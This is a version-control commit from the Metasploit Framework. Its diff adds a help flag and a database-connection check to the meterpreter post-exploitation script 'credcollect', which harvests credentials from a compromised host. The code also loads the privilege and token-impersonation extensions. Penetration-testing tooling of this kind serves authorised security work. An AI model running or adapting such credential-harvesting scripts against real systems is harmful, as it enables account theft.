add -h to credcollect

git-svn-id: file:///home/svn/framework3/trunk@7255 4d416f70-5f16-0410-b530-b9f4589650da

scripts/meterpreter/credcollect.rb

@@ -1,6 +1,26 @@
 # $Id: $
 # credcollect - tebo[at]attackresearch.com
 
+@@exec_opts = Rex::Parser::Arguments.new(
+	"-h" => [ false,"Help menu." ]
+)
+
+@@exec_opts.parse(args) { |opt, idx, val|
+	case opt
+	when "-h"
+		print_line("CredCollect -- harvest credentials found on the host and store them in the database")
+		print_line("USAGE: run credcollect")
+		puts @@exec_opts.usage
+		raise "Usage"
+	end
+}
+
+# No sense trying to grab creds if we don't have any place to put them
+if !client.framework.db.active
+	raise "Database not connected. Run db_connect first."
+end
+
+
 # Make sure we're rockin Priv and Incognito
 if not extensions.include?("priv"); client.core.use("priv") end
 if not extensions.include?("incognito"); client.core.use("incognito") end